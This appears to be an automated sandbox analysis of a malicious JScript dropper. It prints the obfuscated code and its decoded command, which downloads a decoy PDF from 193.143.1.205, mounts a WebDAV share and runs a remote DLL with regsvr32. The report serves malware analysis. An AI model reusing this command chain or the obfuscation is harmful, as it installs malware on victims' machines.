Jan 10, 2025 23:46:03.095720053 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 10, 2025 23:46:03.095730066 CET	448	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 10, 2025 23:46:03.095737934 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 10, 2025 23:46:03.095751047 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 10, 2025 23:46:03.095763922 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 10, 2025 23:46:03.100509882 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49706	193.143.1.205	8888	6056	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:46:04.982883930 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 23:46:05.788136005 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:46:05 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	17:45:59
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17231147702223410654.js"
Imagebase:	0x7ff7419d0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	17:45:59
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196581285316338.dll
Imagebase:	0x7ff7be5e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	17:45:59
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	17:45:59
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	17:46:03
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	17:46:04
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7be5e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	17:46:04
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff68ae50000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	17:46:04
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	17:46:04
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	17:46:05
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2052 --field-trial-handle=1608,i,8740673078040031628,4387485080927596504,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	17:46:43
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function bmzkep() {	bmzkep() ➔ undefined
1	eifjk = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var glgovflm = this[vgjkcm + zlhchc + cpfojsr + hgupe + wquea + aridz + fpzwns + bcbgepx] ( this[ygudb + iifsmowrc + vrxep + cpfojsr + pexbbb + vgjkcm + bcbgepx][tkxcasi + cpfojsr + wquea + zlhchc + bcbgepx + wquea + fdhkjkah + jihhrbqjo + qfbvlkr + wquea + vrxep + bcbgepx] ( ygudb + iifsmowrc + vrxep + cpfojsr + pexbbb + vgjkcm + bcbgepx + cahbpi + iifsmowrc + lhazfcbe + wquea + wucqeoru + wucqeoru ) [obaolpzql + wquea + puywmgwfr + obaolpzql + wquea + zlhchc + isqemghw] ( vjbzy + xjipsfv + bkwzmnnfz + deitm + uqnbcmulw + tkxcasi + xtopyyi + obaolpzql + obaolpzql + bkwzmnnfz + rfczfd + enpwcqpx + uqnbcmulw + xtopyyi + iifsmowrc + bkwzmnnfz + obaolpzql + tpaqm + tkxcasi + snainpb + fpzwns + bcbgepx + cpfojsr + snainpb + wucqeoru + fecze + wdwsvfzr + zlhchc + fpzwns + wquea + wucqeoru + tpaqm + aridz + fpzwns + bcbgepx + wquea + cpfojsr + fpzwns + zlhchc + bcbgepx + pexbbb + snainpb + fpzwns + zlhchc + wucqeoru + tpaqm + czgfpzy + snainpb + vrxep + zlhchc + wucqeoru + wquea ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( tfcqpcpv = 0 ; tfcqpcpv < eifjk[wucqeoru + wquea + fpzwns + puywmgwfr + bcbgepx + lhazfcbe] ; ++ tfcqpcpv )
4	{
5	if ( glgovflm == eifjk[tfcqpcpv] )
6	{
7	glgovflm = true;
8	break ;
9	}
10	}
11	if ( glgovflm !== true )
12	this[ygudb + iifsmowrc + vrxep + cpfojsr + pexbbb + vgjkcm + bcbgepx][ykxagsr + ypmflp + pexbbb + bcbgepx] ( );
13	this[ygudb + iifsmowrc + vrxep + cpfojsr + pexbbb + vgjkcm + bcbgepx][tkxcasi + cpfojsr + wquea + zlhchc + bcbgepx + wquea + fdhkjkah + jihhrbqjo + qfbvlkr + wquea + vrxep + bcbgepx] ( ygudb + iifsmowrc + vrxep + cpfojsr + pexbbb + vgjkcm + bcbgepx + cahbpi + iifsmowrc + lhazfcbe + wquea + wucqeoru + wucqeoru ) [cpfojsr + ypmflp + fpzwns] ( vrxep + ntkbtdist + isqemghw + fecze + zettujott + vrxep + fecze + vgjkcm + snainpb + cuhlygs + wquea + cpfojsr + hgupe + lhazfcbe + wquea + wucqeoru + wucqeoru + cahbpi + wquea + opybr + wquea + fecze + gfskt + tkxcasi + snainpb + ntkbtdist + ntkbtdist + zlhchc + fpzwns + isqemghw + fecze + iknoopatg + aridz + fpzwns + mvhvhrpuw + snainpb + awgln + wquea + gfskt + ygudb + wquea + jihhrbqjo + obaolpzql + wquea + oevvhymw + ypmflp + wquea + hgupe + bcbgepx + fecze + gfskt + fdhkjkah + ypmflp + bcbgepx + sxtuxvfyh + pexbbb + wucqeoru + wquea + fecze + exwtpq + bcbgepx + wquea + ntkbtdist + vgjkcm + exwtpq + tpaqm + pexbbb + fpzwns + mvhvhrpuw + snainpb + pexbbb + vrxep + wquea + cahbpi + vgjkcm + isqemghw + vyhxp + fecze + lhazfcbe + bcbgepx + bcbgepx + vgjkcm + ymzic + zettujott + zettujott + tqbwv + rrqvlt + jhnevv + cahbpi + tqbwv + balvtccod + jhnevv + cahbpi + tqbwv + cahbpi + kuqxqhj + snvmpxv + oxsgyhfh + zettujott + pexbbb + fpzwns + mvhvhrpuw + snainpb + pexbbb + vrxep + wquea + cahbpi + vgjkcm + lhazfcbe + vgjkcm + iknoopatg + megiutb + megiutb + hgupe + bcbgepx + zlhchc + cpfojsr + bcbgepx + fecze + exwtpq + bcbgepx + wquea + ntkbtdist + vgjkcm + exwtpq + tpaqm + pexbbb + fpzwns + mvhvhrpuw + snainpb + pexbbb + vrxep + wquea + cahbpi + vgjkcm + isqemghw + vyhxp + megiutb + megiutb + vrxep + ntkbtdist + isqemghw + fecze + zettujott + vrxep + fecze + fpzwns + wquea + bcbgepx + fecze + ypmflp + hgupe + wquea + fecze + tpaqm + tpaqm + tqbwv + rrqvlt + jhnevv + cahbpi + tqbwv + balvtccod + jhnevv + cahbpi + tqbwv + cahbpi + kuqxqhj + snvmpxv + oxsgyhfh + ojnste + bwdoxkxm + bwdoxkxm + bwdoxkxm + bwdoxkxm + tpaqm + isqemghw + zlhchc + mvhvhrpuw + cuhlygs + cuhlygs + cuhlygs + cpfojsr + snainpb + snainpb + bcbgepx + tpaqm + megiutb + megiutb + vrxep + ntkbtdist + isqemghw + fecze + zettujott + vrxep + fecze + cpfojsr + wquea + puywmgwfr + hgupe + mvhvhrpuw + cpfojsr + jhnevv + kuqxqhj + fecze + zettujott + hgupe + fecze + tpaqm + tpaqm + tqbwv + rrqvlt + jhnevv + cahbpi + tqbwv + balvtccod + jhnevv + cahbpi + tqbwv + cahbpi + kuqxqhj + snvmpxv + oxsgyhfh + ojnste + bwdoxkxm + bwdoxkxm + bwdoxkxm + bwdoxkxm + tpaqm + isqemghw + zlhchc + mvhvhrpuw + cuhlygs + cuhlygs + cuhlygs + cpfojsr + snainpb + snainpb + bcbgepx + tpaqm + tqbwv + rrqvlt + gkpipqjc + oxsgyhfh + bwdoxkxm + tqbwv + kuqxqhj + bwdoxkxm + oxsgyhfh + jhnevv + tqbwv + gkpipqjc + jhnevv + jhnevv + bwdoxkxm + cahbpi + isqemghw + wucqeoru + wucqeoru, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196581285316338.dll",0,false) ➔ 0
14	}
15	ymzic = "t";
16	ymzic = "e";
17	ymzic = "i";
18	ymzic = "L";
19	ymzic = "f";
20	ymzic = "X";
21	ymzic = "P";
22	ymzic = "v";
23	ymzic = "f";
24	ymzic = "u";
25	ymzic = "P";
26	ymzic = "U";
27	ymzic = "r";
28	ymzic = "H";
29	ymzic = "v";
30	ymzic = ":";
31	tpaqm = "v";
32	tpaqm = "L";
33	tpaqm = "Q";
34	tpaqm = "h";
35	tpaqm = "A";
36	tpaqm = "E";
37	tpaqm = "i";
38	tpaqm = "B";
39	tpaqm = "Z";
40	tpaqm = "A";
41	tpaqm = "z";
42	tpaqm = "l";
43	tpaqm = "k";
44	tpaqm = "b";
45	tpaqm = "\\";
46	enpwcqpx = "Q";
47	enpwcqpx = "a";
48	enpwcqpx = "t";
49	enpwcqpx = "h";
50	enpwcqpx = "h";
51	enpwcqpx = "N";
52	enpwcqpx = "p";
53	enpwcqpx = "Q";
54	enpwcqpx = "y";
55	enpwcqpx = "n";
56	enpwcqpx = "p";
57	enpwcqpx = "Q";
58	enpwcqpx = "D";
59	enpwcqpx = "Z";
60	enpwcqpx = "M";
61	enpwcqpx = "g";
62	enpwcqpx = "X";
63	enpwcqpx = "H";
64	enpwcqpx = "V";
65	enpwcqpx = "f";
66	enpwcqpx = "g";
67	enpwcqpx = "k";
68	enpwcqpx = "K";
69	enpwcqpx = "h";
70	enpwcqpx = "w";
71	enpwcqpx = "i";
72	enpwcqpx = "N";
73	enpwcqpx = "v";
74	enpwcqpx = "A";
75	enpwcqpx = "v";
76	enpwcqpx = "G";
77	enpwcqpx = "G";
78	enpwcqpx = "E";
79	enpwcqpx = "y";
80	enpwcqpx = "W";
81	enpwcqpx = "U";
82	enpwcqpx = "V";
83	enpwcqpx = "l";
84	enpwcqpx = "c";
85	enpwcqpx = "o";
86	enpwcqpx = "a";
87	enpwcqpx = "C";
88	enpwcqpx = "T";
89	hgupe = "y";
90	hgupe = "G";
91	hgupe = "S";
92	hgupe = "g";
93	hgupe = "c";
94	hgupe = "A";
95	hgupe = "d";
96	hgupe = "C";
97	hgupe = "L";
98	hgupe = "l";
99	hgupe = "M";
100	hgupe = "A";
101	hgupe = "D";
102	hgupe = "F";
103	hgupe = "N";
104	hgupe = "e";
105	hgupe = "Q";
106	hgupe = "r";
107	hgupe = "g";
108	hgupe = "v";
109	hgupe = "M";
110	hgupe = "a";
111	hgupe = "y";
112	hgupe = "J";
113	hgupe = "e";
114	hgupe = "n";
115	hgupe = "l";
116	hgupe = "q";
117	hgupe = "T";
118	hgupe = "u";
119	hgupe = "R";
120	hgupe = "q";
121	hgupe = "O";
122	hgupe = "k";
123	hgupe = "s";
124	oxsgyhfh = "5";
125	bcbgepx = "Y";
126	bcbgepx = "Z";
127	bcbgepx = "W";
128	bcbgepx = "R";
129	bcbgepx = "F";
130	bcbgepx = "Q";
131	bcbgepx = "w";
132	bcbgepx = "G";
133	bcbgepx = "B";
134	bcbgepx = "w";
135	bcbgepx = "d";
136	bcbgepx = "w";
137	bcbgepx = "t";
138	wquea = "s";
139	wquea = "D";
140	wquea = "f";
141	wquea = "D";
142	wquea = "h";
143	wquea = "B";
144	wquea = "R";
145	wquea = "Q";
146	wquea = "I";
147	wquea = "A";
148	wquea = "T";
149	wquea = "b";
150	wquea = "U";
151	wquea = "O";
152	wquea = "f";
153	wquea = "T";
154	wquea = "n";
155	wquea = "x";
156	wquea = "y";
157	wquea = "l";
158	wquea = "e";
159	kuqxqhj = "T";
160	kuqxqhj = "m";
161	kuqxqhj = "h";
162	kuqxqhj = "c";
163	kuqxqhj = "w";
164	kuqxqhj = "m";
165	kuqxqhj = "d";
166	kuqxqhj = "N";
167	kuqxqhj = "R";
168	kuqxqhj = "i";
169	kuqxqhj = "p";
170	kuqxqhj = "o";
171	kuqxqhj = "g";
172	kuqxqhj = "u";
173	kuqxqhj = "n";
174	kuqxqhj = "y";
175	kuqxqhj = "C";
176	kuqxqhj = "k";
177	kuqxqhj = "c";
178	kuqxqhj = "v";
179	kuqxqhj = "2";
180	vrxep = "u";
181	vrxep = "M";
182	vrxep = "C";
183	vrxep = "p";
184	vrxep = "s";
185	vrxep = "r";
186	vrxep = "Y";
187	vrxep = "N";
188	vrxep = "n";
189	vrxep = "G";
190	vrxep = "a";
191	vrxep = "v";
192	vrxep = "R";
193	vrxep = "t";
194	vrxep = "Z";
195	vrxep = "Q";
196	vrxep = "F";
197	vrxep = "r";
198	vrxep = "I";
199	vrxep = "b";
200	vrxep = "o";
201	vrxep = "J";
202	vrxep = "t";
203	vrxep = "Y";
204	vrxep = "u";
205	vrxep = "G";
206	vrxep = "z";
207	vrxep = "M";
208	vrxep = "a";
209	vrxep = "G";
210	vrxep = "J";
211	vrxep = "z";
212	vrxep = "E";
213	vrxep = "l";
214	vrxep = "g";
215	vrxep = "b";
216	vrxep = "g";
217	vrxep = "H";
218	vrxep = "G";
219	vrxep = "X";
220	vrxep = "j";
221	vrxep = "F";
222	vrxep = "M";
223	vrxep = "c";
224	zettujott = "v";
225	zettujott = "k";
226	zettujott = "Z";
227	zettujott = "w";
228	zettujott = "L";
229	zettujott = "L";
230	zettujott = "N";
231	zettujott = "f";
232	zettujott = "R";
233	zettujott = "n";
234	zettujott = "f";
235	zettujott = "J";
236	zettujott = "r";
237	zettujott = "n";
238	zettujott = "y";
239	zettujott = "v";
240	zettujott = "y";
241	zettujott = "/";
242	fecze = "h";
243	fecze = "u";
244	fecze = "T";
245	fecze = "c";
246	fecze = "C";
247	fecze = "M";
248	fecze = "E";
249	fecze = "f";
250	fecze = "y";
251	fecze = "A";
252	fecze = "S";
253	fecze = "L";
254	fecze = "l";
255	fecze = "e";
256	fecze = "N";
257	fecze = "W";
258	fecze = "w";
259	fecze = "v";
260	fecze = "d";
261	fecze = "l";
262	fecze = "Q";
263	fecze = "q";
264	fecze = "v";
265	fecze = " ";
266	cahbpi = "u";
267	cahbpi = "A";
268	cahbpi = "o";
269	cahbpi = "s";
270	cahbpi = "F";
271	cahbpi = "j";
272	cahbpi = "M";
273	cahbpi = "V";
274	cahbpi = "F";
275	cahbpi = "S";
276	cahbpi = "Q";
277	cahbpi = "x";
278	cahbpi = "u";
279	cahbpi = "R";
280	cahbpi = "Z";
281	cahbpi = "R";
282	cahbpi = "Q";
283	cahbpi = "P";
284	cahbpi = "d";
285	cahbpi = "D";
286	cahbpi = "f";
287	cahbpi = "w";
288	cahbpi = "l";
289	cahbpi = "D";
290	cahbpi = "W";
291	cahbpi = "X";
292	cahbpi = "N";
293	cahbpi = "v";
294	cahbpi = "O";
295	cahbpi = "C";
296	cahbpi = "Y";
297	cahbpi = "d";
298	cahbpi = "p";
299	cahbpi = "A";
300	cahbpi = "Z";
301	cahbpi = "E";
302	cahbpi = "C";
303	cahbpi = "i";
304	cahbpi = ".";
305	fdhkjkah = "q";
306	fdhkjkah = "E";
307	fdhkjkah = "Z";
308	fdhkjkah = "t";
309	fdhkjkah = "F";
310	fdhkjkah = "Y";
311	fdhkjkah = "W";
312	fdhkjkah = "W";
313	fdhkjkah = "d";
314	fdhkjkah = "L";
315	fdhkjkah = "P";
316	fdhkjkah = "o";
317	fdhkjkah = "Y";
318	fdhkjkah = "d";
319	fdhkjkah = "T";
320	fdhkjkah = "F";
321	fdhkjkah = "D";
322	fdhkjkah = "Y";
323	fdhkjkah = "f";
324	fdhkjkah = "i";
325	fdhkjkah = "r";
326	fdhkjkah = "A";
327	fdhkjkah = "N";
328	fdhkjkah = "o";
329	fdhkjkah = "H";
330	fdhkjkah = "Q";
331	fdhkjkah = "f";
332	fdhkjkah = "G";
333	fdhkjkah = "A";
334	fdhkjkah = "z";
335	fdhkjkah = "p";
336	fdhkjkah = "i";
337	fdhkjkah = "w";
338	fdhkjkah = "n";
339	fdhkjkah = "g";
340	fdhkjkah = "f";
341	fdhkjkah = "t";
342	fdhkjkah = "I";
343	fdhkjkah = "C";
344	fdhkjkah = "t";
345	fdhkjkah = "m";
346	fdhkjkah = "g";
347	fdhkjkah = "O";
348	ypmflp = "M";
349	ypmflp = "e";
350	ypmflp = "H";
351	ypmflp = "W";
352	ypmflp = "r";
353	ypmflp = "Y";
354	ypmflp = "q";
355	ypmflp = "z";
356	ypmflp = "K";
357	ypmflp = "d";
358	ypmflp = "o";
359	ypmflp = "e";
360	ypmflp = "M";
361	ypmflp = "z";
362	ypmflp = "D";
363	ypmflp = "D";
364	ypmflp = "x";
365	ypmflp = "i";
366	ypmflp = "a";
367	ypmflp = "O";
368	ypmflp = "o";
369	ypmflp = "M";
370	ypmflp = "K";
371	ypmflp = "M";
372	ypmflp = "P";
373	ypmflp = "b";
374	ypmflp = "g";
375	ypmflp = "z";
376	ypmflp = "h";
377	ypmflp = "h";
378	ypmflp = "E";
379	ypmflp = "u";
380	czgfpzy = "l";
381	czgfpzy = "W";
382	czgfpzy = "u";
383	czgfpzy = "i";
384	czgfpzy = "u";
385	czgfpzy = "k";
386	czgfpzy = "p";
387	czgfpzy = "z";
388	czgfpzy = "S";
389	czgfpzy = "V";
390	czgfpzy = "L";
391	czgfpzy = "q";
392	czgfpzy = "b";
393	czgfpzy = "b";
394	czgfpzy = "k";
395	czgfpzy = "i";
396	czgfpzy = "v";
397	czgfpzy = "p";
398	czgfpzy = "O";
399	czgfpzy = "F";
400	czgfpzy = "M";
401	czgfpzy = "B";
402	czgfpzy = "E";
403	czgfpzy = "t";
404	czgfpzy = "u";
405	czgfpzy = "D";
406	czgfpzy = "L";
407	gkpipqjc = "D";
408	gkpipqjc = "J";
409	gkpipqjc = "p";
410	gkpipqjc = "e";
411	gkpipqjc = "s";
412	gkpipqjc = "B";
413	gkpipqjc = "m";
414	gkpipqjc = "C";
415	gkpipqjc = "z";
416	gkpipqjc = "d";
417	gkpipqjc = "g";
418	gkpipqjc = "R";
419	gkpipqjc = "p";
420	gkpipqjc = "e";
421	gkpipqjc = "g";
422	gkpipqjc = "Y";
423	gkpipqjc = "f";
424	gkpipqjc = "W";
425	gkpipqjc = "I";
426	gkpipqjc = "Z";
427	gkpipqjc = "H";
428	gkpipqjc = "p";
429	gkpipqjc = "P";
430	gkpipqjc = "q";
431	gkpipqjc = "6";
432	zlhchc = "B";
433	zlhchc = "X";
434	zlhchc = "S";
435	zlhchc = "L";
436	zlhchc = "F";
437	zlhchc = "i";
438	zlhchc = "c";
439	zlhchc = "D";
440	zlhchc = "X";
441	zlhchc = "V";
442	zlhchc = "Y";
443	zlhchc = "H";
444	zlhchc = "l";
445	zlhchc = "E";
446	zlhchc = "R";
447	zlhchc = "d";
448	zlhchc = "F";
449	zlhchc = "E";
450	zlhchc = "F";
451	zlhchc = "d";
452	zlhchc = "k";
453	zlhchc = "l";
454	zlhchc = "B";
455	zlhchc = "Z";
456	zlhchc = "B";
457	zlhchc = "y";
458	zlhchc = "k";
459	zlhchc = "g";
460	zlhchc = "B";
461	zlhchc = "o";
462	zlhchc = "w";
463	zlhchc = "V";
464	zlhchc = "a";
465	xtopyyi = "s";
466	xtopyyi = "E";
467	xtopyyi = "b";
468	xtopyyi = "T";
469	xtopyyi = "z";
470	xtopyyi = "d";
471	xtopyyi = "U";
472	xtopyyi = "f";
473	xtopyyi = "d";
474	xtopyyi = "X";
475	xtopyyi = "Y";
476	xtopyyi = "X";
477	xtopyyi = "G";
478	xtopyyi = "P";
479	xtopyyi = "c";
480	xtopyyi = "F";
481	xtopyyi = "a";
482	xtopyyi = "X";
483	xtopyyi = "S";
484	xtopyyi = "j";
485	xtopyyi = "U";
486	xtopyyi = "r";
487	xtopyyi = "g";
488	xtopyyi = "I";
489	xtopyyi = "v";
490	xtopyyi = "C";
491	xtopyyi = "V";
492	xtopyyi = "e";
493	xtopyyi = "M";
494	xtopyyi = "x";
495	xtopyyi = "Y";
496	xtopyyi = "p";
497	xtopyyi = "n";
498	xtopyyi = "D";
499	xtopyyi = "U";
500	xtopyyi = "t";
501	xtopyyi = "J";
502	xtopyyi = "I";
503	xtopyyi = "q";
504	xtopyyi = "D";
505	xtopyyi = "m";
506	xtopyyi = "l";
507	xtopyyi = "U";
508	iknoopatg = "j";
509	iknoopatg = "c";
510	iknoopatg = "o";
511	iknoopatg = "Z";
512	iknoopatg = "o";
513	iknoopatg = "Y";
514	iknoopatg = "k";
515	iknoopatg = "l";
516	iknoopatg = "N";
517	iknoopatg = "r";
518	iknoopatg = "Y";
519	iknoopatg = "J";
520	iknoopatg = "O";
521	iknoopatg = "G";
522	iknoopatg = "O";
523	iknoopatg = "\"";
524	ykxagsr = "M";
525	ykxagsr = "P";
526	ykxagsr = "F";
527	ykxagsr = "I";
528	ykxagsr = "O";
